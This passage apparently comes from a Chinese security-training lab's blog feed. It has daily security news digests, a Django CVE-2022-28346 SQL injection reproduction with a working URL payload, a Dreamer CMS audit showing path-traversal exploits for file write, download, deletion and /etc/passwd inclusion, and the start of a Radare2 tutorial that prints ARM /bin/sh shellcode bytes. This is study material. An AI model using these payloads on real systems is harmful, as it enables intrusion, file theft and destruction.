网络安全日报 2023年05月11日
1、新的DDoS僵尸网络AndoryuBot利用Ruckus漏洞发起攻击
https://www.bleepingcomputer.com/news/security/critical-ruckus-rce-flaw-exploited-by-new-ddos-botnet-malware/ 一种名为“AndoryuBot”的新型恶意软件僵尸网络针对Ruckus无线管理面板中的严重漏洞,感染未打补丁的Wi-Fi接入点以用于DDoS攻击。该漏洞编号为CVE-2023-25717,影响所有Ruckus无线管理面板10.4及更早版本,允许远程攻击者通过向易受攻击的设备发送未经身份验证的HTTP GET请求来执行代码。该漏洞于2023年2月8日被发现并修复,尽管如此,许多
2、FBI使用自毁命令摧毁俄罗斯Snake数据盗窃恶意软件
https://www.bleepingcomputer.com/news/security/fbi-nukes-russian-snake-data-theft-malware-with-self-destruct-command/ 来自所有五眼联盟成员国的网络安全和情报机构关闭了俄罗斯联邦安全局(FSB)运营的Snake网络间谍恶意软件使用的基础设施。Snake恶意软件的开发始于2003年底,名为“Uroburos”,而第一个版本的植入程序似乎在2004年初完成,俄罗斯国家黑客随后立即在攻击中部署了该恶意软件。“司法部与我们的国际合作伙伴一起,摧毁了一个受恶意软件感染的全球计算机网络,俄
3、GitHub新功能自动阻止令牌和API密钥泄漏
https://www.bleepingcomputer.com/news/security/github-now-auto-blocks-token-and-api-key-leaks-for-all-repos/ GitHub现在自动阻止所有公共代码存储库的API密钥和访问令牌等敏感信息的泄露。此功能通过在接受“git push”操作之前扫描秘密来主动防止泄漏,并且它适用于可检测的69种令牌类型(API 密钥、私钥、秘密密钥、身份验证令牌、访问令牌、管理证书、凭据等)具有较低的“误报”检测率。GitHub表示:“如果你正在推送包含敏感信息的提交,推送保护提示将出现,其中包含有关敏感信息类
4、研究人员分享了 NTLM 凭据盗窃的新零点击Windows漏洞详情
https://thehackernews.com/2023/05/experts-detail-new-zero-click-windows.html 网络安全研究人员分享了有关 Windows MSHTML 平台中现已修补的安全漏洞的详细信息,该漏洞可能被滥用以绕过目标机器上的完整性保护。该漏洞被跟踪为CVE-2023-29324(CVSS 评分:6.5),被描述为绕过安全功能。微软在 2023 年 5 月的补丁星期二更新中解决了这个问题。发现并报告该漏洞的 Akamai 安全研究员 Ben Barnea 指出,所有 Windows 版本都受到影响。
5、复杂的DownEx 恶意软件活动针对中亚各国政府
https://thehackernews.com/2023/05/sophisticated-downex-malware-campaign.html 一种名为 DownEx 的新型复杂恶意软件参与了针对中亚政府组织的攻击。2022 年底, Bitdefender Labs 研究人员首次观察到针对哈萨克斯坦外国政府机构的高度针对性网络攻击,其中涉及一种名为 DownEx 的新型复杂恶意软件。
6、美国公司大规模部署员工监视工具
https://www.freebuf.com/news/365937.html 从按键和屏幕截图到录音和GPS定位追踪,据估计,到2025年,每10家美国公司中至少有7家会对员工进行数字监控,以观察衡量员工的生产力。
7、拒绝支付赎金后,LockBit 泄露印度信贷公司600GB的数据
https://www.freebuf.com/news/366094.html LockBit 3.0勒索软件集团周一泄露了从印度贷款机构Fullerton India窃取的600GB关键数据,两周后该集团向该公司要求300万美元赎金。
8、Google允许美国用户搜索他们的 Gmail ID是否出现在暗网上
https://www.securityweek.com/google-now-lets-us-users-search-dark-web-for-their-gmail-id/ 谷歌今天在其年度开发者大会 Google I/O 上宣布,美国的 Gmail 用户现在可以运行扫描以查明他们的 Gmail ID 是否出现在暗网上。
9、在 Apple 版权案中,上诉法院支持 Corellium
https://www.securityweek.com/appeals-court-sides-with-corellium-in-apple-copyright-case/ 在 Apple 就其安全研究工具对 Corellium 提起的版权侵权诉讼中,美国上诉法院支持 Corellium。
10、全球最大规模AI黑客大赛将开启:白宫支持 针对大模型安全
https://www.secrss.com/articles/54509 安全内参5月10日消息,美国白宫在上周四宣布,OpenAI、谷歌、Antrhopic、Hugging Face、微软、英伟达与Stability AI等顶尖人工智能提供商,将在DEF CON 31上共同参与对他们的生成式人工智能系统的公开安全评估。DEF CON是每年8月在拉斯维加斯召开的黑客大会,此次安全竞赛由人工智能黑客社区AI Village主办。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Django SQL注入漏洞分析(CVE-2022-28346)
漏洞简介
Django 在2022年发布的安全更新,修复了在 QuerySet 的 annotate(), aggregate(), extra() 等函数中存在的 SQL 注入漏洞。
影响版本
2.2<= Django Django <2.2.28 3.2<= Django Django <3.2.13 4.0<= Django Django <4.0.4
需要使用了 annotate 或者 aggregate 或 extra 方法
环境搭建
搭建特定版本的 django 项目
利用 pycharm 创建一个 python 项目
创建完成项目后在 Settings 中找到 Project: CVE202228346 对应的 Python Interpreter
添加存在问题的 Django 版本
在 Terminal 中执行命令,创建 django 项目
django-admin startproject CVE202228346
配置启动设置
运行后就启动了最简单的 django 项目
编写配置漏洞代码
折腾来折腾去,出现了很多问题,一度想要放弃说直接采用 docker ,但是在不断的试错下,最终还是编写成功
因为对 python 的 django 不太熟悉,所以其中可能更多的是比较偏向于基础的操作
进入到项目目录下创建命令 创建第一个应用
在 settings.py 中添加配置
在 urls.py 中添加 对应的 url,urls.py 相当于路由解析器,将路由解析到对应的 views.py 中对应的函数上
urlpatterns = [
path('admin/', admin.site.urls),
path('index/',views.index),
path('demo/',views.users),
path('initialize/',views.loadexampledata)
]
models.py 是创建表结构的时候使用,通过类的定义,可以创建一个表
from django.db import models
# Create your models here.
class User(models.Model):
name = models.CharField(max_length=200)
def __str__(self):
return self.name
views.py 主要定义了对应路由所响应的函数
from django.db.models import Count
from django.http import HttpResponse
from django.shortcuts import render
from .models import User
# Create your views here.
def index(request):
return HttpResponse('hello world')
def users(request):
field = request.GET.get('field', 'name')
user_amount = User.objects.annotate(**{field: Count("name")})
html = ""
for u in user_amount:
html += "<h3>Amoount of users: {0}</h3>".format(u)
return HttpResponse(html)
def loadexampledata(request):
u = User(name="Admin")
u.save()
u = User(name="Staff1")
u.save()
u = User(name="Staff12")
u.save()
return HttpResponse("ok")
三个函数分别是 helloword 函数,往数据库中加参数,以及查询数据库中的字段
编写好代码后,需要对数据库执行初始化操作
python manage.py makemigrations
python manage.py migrate
漏洞复现
先访问 initialize 为数据库中添加信息
构造 payload
http://127.0.0.1:8000/demo/?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
漏洞分析
发现一个问题,在加上断点调试以后,每次运行输出的结果跟不加断点运行的结果存在很大的差异,结果完全不同。不断尝试之后发现是因为在某些地方加上断点之后,在调试器中查看变量和状态可能会影响程序的执行速度和内存使用情况,为了方便的输出某些位置的变量,采用 print 的方法结合断点调试。
通过 get 传入的参数 field
CVE202228346.demo.views.users
此处的**{field: Count("name")} 用来表示拆分字典
跟进 annotate 对传入参数的处理
django.db.models.query.QuerySet.annotate
继续将参数传入到 _annotate 进行处理
django.db.models.query.QuerySet._annotate
在将 kwargs 的值 update 到 annotations 后,调用 add_annotation 进行处理
django.db.models.sql.query.Query.add_annotation
add_annotation 也是漏洞存在的关键位置,因为修复漏洞的关键位置也在此处
调用 resolve_expression 解析表达式
django.db.models.aggregates.Aggregate.resolve_expression
django.db.models.expressions.Func.resolve_expression
django.db.models.expressions.F.resolve_expression
django.db.models.sql.query.Query.resolve_ref
最后我们可以看到 clone 对应的值 以及执行的 SQL 语句
整个漏洞分析下来,仍然有很多不太清楚的地方,可能再分析几个关于 Django 的漏洞会好一些
漏洞修复
在 add_annotation 添加了 check_alias 来对传入的参数进行校验
蚁景科技受邀参加中国刑事警察学院学科专业建设研讨会
5月7日,湖南蚁景科技有限公司受邀出席中国刑事警察学院公安信息技术与情报学院学科专业建设研讨会。
本次研讨会由中国刑事警察学院主办,公安信息技术与情报学院、教育部网络安全与执法专业虚拟教研室、辽宁网络安全执法协同创新中心、网络安全执法与视频侦查辽宁省重点实验室协办。网络安全与执法专业、公安视听技术专业、公安情报学专业和技术侦查学专业的等相关人员参会,共同探讨学院学科专业建设的新思路。
研讨会开幕式上,中国刑事警察学院公安信息技术与情报学院秦玉海院长、沈阳市公安局班昊副局长、公安部技侦局陈伟致辞。
▲开幕式
数名特邀嘉宾依次在大会上做了精彩报告,很荣幸,蚁景科技就是其中一员。蚁景科技副总经理皮开元在网络安全与执法专业虚拟教研室建设研讨会上以《网络安全在线实践平台支撑“网络安全与执法专业”一流学科、专业与课程建设情况汇报》为题发表演讲报告,分享了蚁景科技网安教育解决方案。
▲蚁景科技演讲主题
▲副总经理皮开元
报告内容基于蚁景科技旗下领先的网络安全人才实践平台-蚁景网安实验室展开,重点阐述了我司在课程内容建设与在线实验教学平台两大方向上的网安教育服务工作。
蚁景网安实验室是一款致力于推进网络安全教育和人才培养的重要支撑平台,全方位覆盖了网络安全领域包括web安全、渗透测试、CTF网络攻防等1500+内容。不仅适合于初学者,也适合于专业人员深入学习和研究,无论是网安爱好者与学生,教师和学校组织(教师联合实验室)都可以将平台充分利用起来。
在教师联合实验室方面,平台提供了丰富的课件库、快捷方便的教学环境、科学的知识图谱与清晰的学习路径,为国内1000+高校提供了信息安全教学支撑,在提升网安教学效率、减轻教学压力、优化教学安排方面起到了积极作用。例如,高校可以根据自己的需要选择合适的课件,为学生提供全方位、系统化的网安教育和培训。目前,蚁景网安实验室已经顺利支撑中国刑事警察学院网络安全与执法专业数名教师,共计开设10余门课程,累计支撑600余名学生进行学习实践,涉及到专业建设的“实验”、“实训”与“第二课堂”等实践环节。
除了教师联合实验室,蚁景网安实验室还在个人用户体验方面提供了丰富的网络安全实践机会和靶场体验,通过模拟真实的网络环境和安全威胁场景,为数十万人提供了实践机会,一定程度上提升了其实战技能水平。
▲合影
蚁景科技在此次研讨会上,与参会代表进行了深入的交流,得到了各位专家教授的宝贵指导与建议。我们有信心和决心,未来将继续专注网络安全领域、关注警察行业网络安全与执法专业建设要求,继续加强对蚁景网安实验室的改进完善,为网络安全行业培养更多优秀的人才做出更大的贡献。
网络安全日报 2023年05月10日
1、SideCopy使用Action RAT和AllaKore RAT渗透印度组织
https://thehackernews.com/2023/05/sidecopy-using-action-rat-and-allakore.html 据观察,被称为SideCopy的疑似与巴基斯坦结盟的威胁行为者利用与印度军事研究组织相关的主题作为正在进行的网络钓鱼活动的一部分。Fortinet FortiGuard Labs在一份新报告中表示,这涉及使用与印度国防研究与发展组织(DRDO)有关的ZIP存档诱饵来传递能够收集敏感信息的恶意载荷。这个网络间谍组织的活动至少可以追溯到2019年,目标是符合巴基斯坦政府利益的实体。据信,它与另一个名为Transparent Tribe的巴基斯
2、LockBit 3.0勒索团伙泄露了从印度银行窃取的600GB数据
https://www.govinfosecurity.com/lockbit-30-leaks-600-gbs-data-stolen-from-indian-lender-a-22010 LockBit 3.0勒索软件组织周一泄露了从印度银行Fullerton India窃取的600GB关键数据,两周前该组织向该公司索要300万美元的赎金。Fullerton India于4月24日表示,它遭受了恶意软件攻击,作为预防措施,它被迫暂时离线运营。该勒索软件组织很快在其数据泄露网站上将Fullerton India列为受害者,称其窃取了超过600GB的“与个人和合法公司签订的贷款协议”。该组织
3、攻击者利用伪造的二维码窃取数据或劫持付款
https://www.bleepingcomputer.com/news/security/qr-codes-used-in-fake-parking-tickets-surveys-to-steal-your-money/ 随着二维码持续被合法组织大量使用——从广告到强制执行停车费和罚款,诈骗者已经悄悄进入,滥用这项技术来达到他们邪恶的目的。据报道,新加坡的一名妇女在一家奶茶店使用二维码填写“调查问卷”后损失了20000美元,而在美国和英国则观察到针对司机的带有二维码的假停车传单案例。值得注意的是,受害者下载的特定恶意软件应用程序要求用户授予对手机麦克风和摄像头的访问权限,此外还有And
4、FBI查封了13个与DDoS租用服务相关的域
https://www.bleepingcomputer.com/news/security/fbi-seizes-13-more-domains-linked-to-ddos-for-hire-services/ 美国司法部今天宣布没收了13个与DDoS出租平台相关的域。“作为针对计算机攻击‘引导程序’服务的持续举措的一部分,司法部今天宣布法院授权没收与这些DDoS出租服务相关的13个互联网域,”司法部表示。这些服务允许付费用户发起强大的分布式拒绝服务或DDoS攻击,向目标计算机发送大量信息并阻止他们访问互联网。FBI通过在每个服务中开设或续订帐户来测试域被查封的引导程序服务,并通过对该机
5、微软周二补丁日发布更新修补40 个漏洞,包括2 个零日漏洞
https://www.securityweek.com/microsoft-patch-tuesday-40-vulnerabilities-2-zero-days/ 微软 2023 年 5 月的安全更新解决了总共 40 个新记录的漏洞,包括两个已经在攻击中被利用的漏洞。
6、全球食品分销巨头 Sysco 披露数据泄露
https://securityaffairs.com/145996/data-breach/sysco-discloses-data-breach.html 全球食品分销巨头西斯科披露了一起数据泄露事件,被泄露的数据包括客户和员工数据。
7、Linux NetFilter 内核漏洞( CVE-2023-32233)允许将权限提升至"root"
https://securityaffairs.com/145989/security/linux-netfilter-kernel-flaw.html Linux NetFilter 内核缺陷(编号为 CVE-2023-32233)可被非特权本地用户利用,将其权限提升至 root。该漏洞影响多个 Linux 内核版本,包括 Linux 6.3.1(当前稳定版)
8、Fortinet 警告与 AndoryuBot DDoS 僵尸网络相关的活动激增
https://securityaffairs.com/145980/cyber-crime/andoryubot-ddos-botnet.html FortiGuard Labs 研究人员最近观察到试图利用 Ruckus Wireless Admin 远程代码执行漏洞(CVE-2023-25717)的攻击激增。该活动与一个名为 AndoryuBot 的已知 DDoS 僵尸网络相关,该僵尸网络于 2023 年 2 月首次出现。该僵尸网络支持多种 DDoS 攻击技术,并使用 SOCKS5 代理进行 C2 通信。
9、微软表示伊朗黑客组织针对Papercut发起攻击
https://www.bleepingcomputer.com/news/security/microsoft-iranian-hacking-groups-join-papercut-attack-spree/ 微软表示,伊朗国家支持的黑客加入了针对易受攻击的PaperCut MF/NG打印管理服务器的持续攻击。这些组织被追踪为Mango Sandstorm(又名Mercury或Muddywater,与伊朗情报和安全部有关)和Mint Sandstorm(也称为Phosphorus或APT35,与伊朗伊斯兰革命卫队有关)。”CISA于4月21日将此错误添加到其被积极利用的漏洞目录中,命令
10、新的 CACTUS 勒索软件出现在威胁领域
https://securityaffairs.com/145960/malware/new-cactus-ransomware.html 研究人员警告称,一个名为 CACTUS 的新勒索软件家族会利用 VPN 设备中的已知漏洞来获得对受害者网络的初始访问权限。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年05月09日
1、新的Cactus勒索软件通过自我加密来规避检测
https://www.bleepingcomputer.com/news/security/new-cactus-ransomware-encrypts-itself-to-evade-antivirus/ 一种名为Cactus的新型勒索软件一直在利用VPN设备中的漏洞对“大型商业实体”的网络进行初始访问。Cactus勒索软件行动至少从3月开始就一直活跃,并正在索求受害者的大笔赎金。虽然新的威胁行为者采用了勒索软件攻击中常见的策略——文件加密和数据盗窃,但它增加了自己的手段来避免被发现。Cactus与其他勒索软件的不同之处在于使用加密来保护勒索软件二进制文件。攻击者使用批处理脚本通过7-Z
2、西部数据称黑客在三月份的网络攻击中窃取了客户数据
https://www.bleepingcomputer.com/news/security/western-digital-says-hackers-stole-customer-data-in-march-cyberattack/ 在确认黑客在三月份的网络攻击中窃取了敏感的个人信息后,西部数据已将其商店下线并向客户发送数据泄露通知。该公司通过电子邮件发送了数据泄露通知,警告说客户的数据存储在攻击期间被盗的西部数据数据库中。西部数据表示:“根据调查,我们最近了解到,在2023年3月26日前后,未经授权的一方获得了西部数据数据库的副本,其中包含我们在线商店客户的有限个人信息。”这些信息包括客
3、谷歌发布用于检测容器镜像安全的开源 Bazel 插件
https://www.securityweek.com/google-releases-open-source-bazel-plugin-for-container-image-security/ Google 宣布全面推出“rules_oci”Bazel 插件,以提高容器镜像的安全性。
4、Money Message 团伙公布了 MSI 私有代码签名密钥
https://securityaffairs.com/145940/data-breach/msi-data-breach-key-leaked.html 攻击台湾地区 PC 制造商 MSI 的勒索软件团伙在其暗网泄漏网站上泄露了该公司的私有代码签名密钥。
5、NextGen Healthcare 遭遇数据泄露,影响超过 100 万人
https://securityaffairs.com/145935/data-breach/nextgen-healthcare-data-breach.html NextGen Healthcare 遭遇数据泄露,安全事件暴露了大约 100 万个人的个人信息。
6、信安标委发布2023年度第一批网络安全国家标准需求
https://www.freebuf.com/news/365915.html 据信安标委网站6日消息,为加强网络安全国家标准在国家网络安全保障工作中的基础性、规范性、引领性作用,全国信息安全标准化技术委员会(简称“信安标委”)秘书处坚持问题导向,调研国家网络安全重点工作和技术产业发展需求,研究形成了2023年度第一批网络安全国家标准需求清单。信安标委要求做好申报工作,并于2023年5月12日前通过信安标委网站首页(www.tc260.org.cn)“关于发布2023年度第一批网络安全国家标准需求的通知”模块进行申报。
7、新的Android恶意软件“FluHorse”以欺骗性策略瞄准东亚市场
https://thehackernews.com/2023/05/new-android-malware-fluhorse-targeting.html 东亚市场的各个行业都受到了新的电子邮件网络钓鱼活动的影响,该活动分发了一种以前未记录的Android恶意软件FluHorse,该恶意软件滥用了Flutter软件开发框架。
8、美国防部零信任架构试点成功,将在2个月内全面投产
https://www.secrss.com/articles/54385 美国国防部零信任战略要求的153项关键活动中,DISA雷霆穹顶项目现可提供约123项能力。
9、黑客使用新的网络注入工具包DrIBAN瞄准意大利企业银行客户
https://thehackernews.com/2023/05/hackers-targeting-italian-corporate.html 意大利企业银行客户是正在进行的金融欺诈活动的目标,该活动至少自 2019 年以来一直在利用名为 drIBAN 的新网络注入工具包。
10、新的勒索软件Akira针对多家企业发起网络攻击
https://www.bleepingcomputer.com/news/security/meet-akira-a-new-ransomware-operation-targeting-the-enterprise/ 新的Akira勒索软件团伙慢慢地建立了一份受害者名单,因为他们破坏了全球的公司网络,加密文件,然后要求数百万美元的赎金。Akira于2023年3月推出,声称已经对16家公司进行了攻击。这些公司分布在各个行业,包括教育、金融、房地产、制造和商业咨询。与其他勒索软件操作一样,Akira会破坏公司网络并横向传播到其他设备。一旦威胁行为者获得Windows域管理员凭据,他们就会在整
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
记一次springboot项目漏洞挖掘
前言
前段时间的比赛将该cms作为了题目考察,这个cms的洞也被大佬们吃的差不多了,自己也就借此机会来浅浅测试下这个cms残余漏洞,并记录下这一整个流程,谨以此记给小白师傅们分享下思路,有错误的地方还望大佬们请以指正。
安装
参考官方文档,给出了很详细的安装说明,如安装遇到问题,可到官方论坛寻找解决方法,常见安装失败问题都有。
https://gitee.com/iteachyou/dreamer_cms#https://gitee.com/link?target=https%3A%2F%2Fwww.iteachyou.cc%2Farticle%2F55ec2939c29147eca5bebabf19621655该cms项目是基于springboot框架开发的,安装的时候需要的环境为 springboot+redis+mysql+ IDEA
配置文件主要是这两个application-prd.yml和application-dev.yml,需要配置好mysql数据库连接、redis连接以及网页静态资源路径,其余的安装上面的一步步安装即可。
安装成功后访问登陆页面
管理员账号密码已经给了,直接登录。
漏洞测试
风格管理模板存在任意编辑文件实现命令执行
经测试,发现后台风格管理模板上传主题压缩包时可以进行污染压缩包theme.json文件,达到目录穿越到服务器敏感目录,从而在模板管理在解析时没有进行检测可以任意编辑系统敏感文件导致GetShell,控制服务器权限。
漏洞产生的主要文件:主题上传Controller文件:src/main/java/cc/iteachyou/cms/controller/admin/ThemesController.java, 找到add方法。
首先是判断文件是否存在以及JSON解析是否正确;判断Key是否都存在;判断对应值是否为空;创建theme对象;判断设置路径是否已"default"开头。最后校验主题包各种配置是否正确。确认的话就成功上传。
但是没有对themePath路径问题进行检测,便可构造目录穿越,这也是该漏洞造成的关键原因。
最后是判断上传的压缩包里的各类信息无误后进入处理保存文件逻辑的save方法。
在上传的主题包里的\dreamer\dreamer-cms\templates\default_v3\theme.json文件,将目录穿越的构造替换主题包路径,更改之后theme.json文件内容如下:
{
"themeName":"新版主题",
"themeImage":"http://localhost:8888/resource/img/dreamercms-logo.png",
"themeAuthor":"",
"themePath":"../../../../../../../../../../../../../../"//此路径要和模板文件夹的名称一致
}
虽然有检测,但是在之前themeDir已经被污染了,所以相当于检测相当于没有。接着检查是否有权限,startwith方法也没有问题。
``
最后就是保存文件。到此时后台模板已被刚刚传入的构造污染,可以进行利用,效果如下:
将修改后的主题包上传
风格页面会多出一个新的主题
点击启用。然后查看模板管理页面,发现目录穿越成功,成功进入服务器的根目录,这时就相当于在自己服务器上编辑修改文件。
测试文件为/home/www 目录下的1.txt文件,原本是空文件。
在页面修改该文件,添加内容
然后保存,再到服务器里查看,成功将内容加入。
如果修改authorized_key文件便可进行免密登录,利用压缩校验不正确从而上传任意危险文件,例如一句话木马等来获取系统权限;还可以获取系统passwd文件获取敏感信息,也可以写计划任务进行命令执行。
该漏洞分析到此为止,接着是附件管理模板可以进行任意文件下载、删除。
#
附件管理模板可以进行任意文件下载、删除。
漏洞产生主要文件:
src/main/java/cc/iteachyou/cms/controller/admin/AttachmentController.java添加附件功能的代码如下:
首先肯定是先添加附件,这里没有对attachment参数进行过滤。导致保存附件的时候目录穿越的构造就被保留了下来,对其进行解析后就可以将服务器的指定文件随意下载、删除,从而对服务器构成威胁。
下载、删除功能的代码都在同一个文件,都是通过刚刚的attachment参数,然后使用attachment.getFilepath()获取服务器文件路径,对其进行解析。
先看下载功能的代码:
这里也没有对 filePath变量进行过滤,所以总的来说就是添加附件和下载附件的两处代码,都没有对相应的变量进行检测过滤,从而导致漏洞产生。
删除功能的代码:
删除的话就没什么好说的,和上面一样的原理,试想下,如果可以任意删除服务器的配置文件,那不就相当于服务器要崩的节奏。
漏洞演示如下:
还是利用刚刚/home/www目录下的1.txt文件
在添加附件模块先随便上传一个本地文件(这里随便上传了一个theme.txt文件)
burpsuite抓包如下
需要改的就是这个filepath参数对应的文件路径,将其修改为
../../../../../../../../../../../../../home/www/1.txt
然后放包。
刷新页面,观察到多了一个theme.txt文件,下载下来并打开内容如下:
服务器里的/home/www/1.txt里的内容193840sswwloP 已成功写入本地theme.txt文件,任意下载文件成功。
删除效果,点击右边的删除。
发现该1.txt文件被删除了,任意删除文件成功。
#
模板管理存在任意文件包含
产生漏洞的主要文件:src/main/java/cc/iteachyou/cms/taglib/tags/IncludeTag.java
If语句只是简单判断值是否为空,但是没有检测过滤字符,导致可以传入目录穿越的构造../../../../../../../../../../../../../home/www/1.txt进行文件包含,读取里面内容。接着在模板管理找到index_about.html
将../../../../../../../../../../../../../home/www/1.txt写入div标签并保存,如下图
接着访问主页里的关于我们:
可以看到,成功进行了文件包含,如将构造/home/www/1.txt换成/etc/passwd这类敏感文件,则被攻击者获取到关键信息,这里也测试下:修改构造
页面如期输出/etc/passwd文件里的信息。
总结
本文测试是在该cms旧版本上进行的,新版本对已有问题已进行了修复,这次对该java实现的cms漏洞挖掘收获满满,对cms安装、部署以及代码审计中要注意的点得到了良好的锻炼。
网络安全日报 2023年05月08日
1、新型Android恶意软件FluHorse窃取密码和2FA代码
https://research.checkpoint.com/2023/eastern-asian-android-assault-fluhorse/ 在Check Point Research进行的最新研究中,研究人员发现了一种新发现的名为FluHorse的恶意软件。该恶意软件具有多个模仿合法应用程序的恶意Android应用程序,其中大多数安装量超过1000000次。这些恶意应用程序会窃取受害者的凭据和双因素身份验证 (2FA) 代码。FluHorse针对东亚市场的不同领域并通过电子邮件进行分发。在某些情况下,攻击第一阶段使用的电子邮件属于知名实体。恶意软件可能几个月都未被发现使其成为一
2、ALPHV团伙声称对Constellation Software进行了勒索软件攻击
https://www.bleepingcomputer.com/news/security/alphv-gang-claims-ransomware-attack-on-constellation-software/ 加拿大多元化软件公司Constellation Software证实,其部分系统遭到威胁行为者的破坏,他们还窃取了个人信息和商业数据。该公司表示:“该事件仅限于Constellation运营集团和业务与内部财务报告和相关数据存储相关的少数系统。”Constellation表示,它已经遏制了这次攻击,现在已经恢复了所有受事件影响的IT基础设施系统。这家加拿大公司在北美、欧洲、澳
3、WordPress自定义字段插件漏洞导致超过100万个站点遭受XSS攻击
https://www.bleepingcomputer.com/news/security/wordpress-custom-field-plugin-bug-exposes-over-1m-sites-to-xss-attacks/ 安全研究人员警告说,“高级自定义字段”和“高级自定义字段专业版”WordPress插件安装数百万次,容易受到跨站点脚本攻击(XSS)。这两个插件是WordPress最受欢迎的自定义字段构建器之一,在全球站点上有2000000个活跃安装。Patchstack的研究员Rafie Muhammad于2023年5月2日发现了高危反射型XSS漏洞,该漏洞的编号为CVE
4、Apple为iOS/iPadOS/macOS用户发布首个快速安全响应补丁
https://www.malwarebytes.com/blog/news/2023/05/apple-releases-first-rapid-security-response-update-for-ios-ipados-and-macos-users 苹果发布了第一批快速安全响应(RSR)补丁,分别适用于iPhone和iPad以及macOS设备的iOS 16.4.1(a)、iPadOS 16.4.1(b)和macOS 13.3.1(a)。RSR是一种新型的软件补丁,在苹果公司的定期软件更新之间提供。此前,苹果的安全修复与功能和改进捆绑在一起,但RSR只提供安全修复。它们旨在使安全改进
5、研究人员发现Microsoft Azure API管理服务中的3个漏洞
https://thehackernews.com/2023/05/researchers-discover-3-vulnerabilities.html Microsoft Azure API 管理服务中披露了三个新的安全漏洞,恶意行为者可能会滥用这些漏洞来访问敏感信息或后端服务。据以色列云安全公司Ermetic称,这包括两个服务器端请求伪造(SSRF)漏洞和一个API管理开发人员门户中的无限制文件上传功能实例。“通过滥用SSRF漏洞,攻击者可以从服务的CORS代理和托管代理本身发送请求,访问内部Azure资产,拒绝服务并绕过Web应用程序防火墙,”安全研究员Liv Matan在与黑客新闻
6、CISA敦促组织审查FCC的高风险通信设备清单
https://securityboulevard.com/2023/05/cisa-urges-organizations-to-review-fccs-list-of-high-risk-communications-equipment/ 网络安全和基础设施安全局(CISA)最近发布了一份咨询意见,敦促各组织审查联邦通信委员会(FCC)的通信设备和服务清单,美国政府认为这些设备和服务对国家安全构成了不可接受的风险。这一行动旨在保护国家关键基础设施供应链免受网络威胁。CISA敦促所有关键基础设施所有者和运营商采取必要措施,以保护该国最关键的供应链。该机构呼吁组织将涵盖的清单纳入其供应链风险
7、严重的西门子 RTU 漏洞可能允许黑客破坏电网
https://www.securityweek.com/critical-siemens-rtu-vulnerability-could-allow-hackers-to-destabilize-power-grid/ 西门子最近修补了一个影响其部分能源 ICS 设备的严重漏洞,该漏洞可能允许黑客破坏电网的稳定。
8、Twitter称由于安全事件导致私人Circle推文对外暴露
https://www.bleepingcomputer.com/news/security/twitter-says-security-incident-exposed-private-circle-tweets/ Twitter透露,“安全事件”导致发送到Twitter Circles的私人推文向Circle以外的用户公开显示。Twitter Circle是2022年8月发布的一项功能,允许用户向一小部分人发送推文,并承诺对公众保密。通过阅读Twitter对隐私功能的描述,发现Twitter Circle是一种向选定的人发送推文并与较小的人群分享想法的方式。Twitter在近期发送的安全
9、FBI 查封电子书网站 Z-Library 使用的其他域名
https://securityaffairs.com/145854/cyber-crime/z-library-domains-seized.html FBI 再次查封 Z-Library,当局没收了该服务使用的几个域。
10、谷歌推出网络安全职业证书计划
https://www.darkreading.com/careers-and-people/google-now-offers-cybersecurity-career-certificate-program 谷歌增加了一项新的认证计划,旨在根据其现有的谷歌职业证书计划培训新一代网络安全专业人员。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
用Radare2模拟shellcode运行
当我们在编写汇编时,可能有的时候你需要看看编译器中到底发生了什么。如果你正在排除shellcode出现的问题,你那么更需要耐心地、慎重地运行指令。
本文将探讨如何在x86_64的Ubuntu系统上模拟32位ARM shellcode。由于大多数笔记本电脑和工作站还没有运行ARM,我们这里需要一种其他方法在系统上执行非原生的指令。另外,原始的shellcode二进制文件并不是可执行文件格式,并不能被大多数工具所运行,所以我们需要一种其他的方法来执行这些文件。
在这里我们使用的是Radare2, Radare2是一个控制台驱动的框架,集成了一套简便易用的二进制分析工具。你可以把这些工具编写成脚本,或者使用交互式的命令行界面。要在Ubuntu上设置这个,我们只需要几个简单的命令。
mkdir ~/github
cd ~/github
git clone https://github.com/radareorg/radare2.git
cd radare2
sys/install.sh
如果你已经安装了radare2,请确保你目前运行的是最新版本。这个工具一直在积极维护并定期进行更新。另外,在2022年6月的版本之前有一些错误,使得此次试验可能无法更好的完成。
cd ~/github/radare2
git pull
sys/install.sh
r2 -V
为了复制我们将在本文中使用的shellcode二进制文件,你可以在bash提示符下运行以下内容:
nemo@hammerhead:~$ echo -n -e '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00' > shellcode-696.bin
nemo@hammerhead:~$ md5sum shellcode-696.bin
42ba1c77446594cac3508b940926575d shellcode-696.bin
ESIL简介
可评估字符串中间语言(ESIL)是radare2使用的一种从硬件中抽象出来的指令,可以在不考虑底层硬件的情况下,来 "执行" 机器指令。这对于在仿真环境中执行非本地的汇编指令是非常理想的。
为了使用ESIL来执行我们的shellcode,我们需要做以下工作:
加载我们的shellcode二进制文件
配置radare2,使其知道如何正确解释我们的shellcode二进制文件
初始化ESIL
根据需要设置寄存器
通过我们的汇编指令来验证其功能
用 ESIL 执行ARM shellcode
加载我们的shellcode二进制文件
当我们对shellcode二进制文件运行 "file"命令时,我们看到Linux不能确定其文件格式。同样地,radare2也不能确定它是什么。
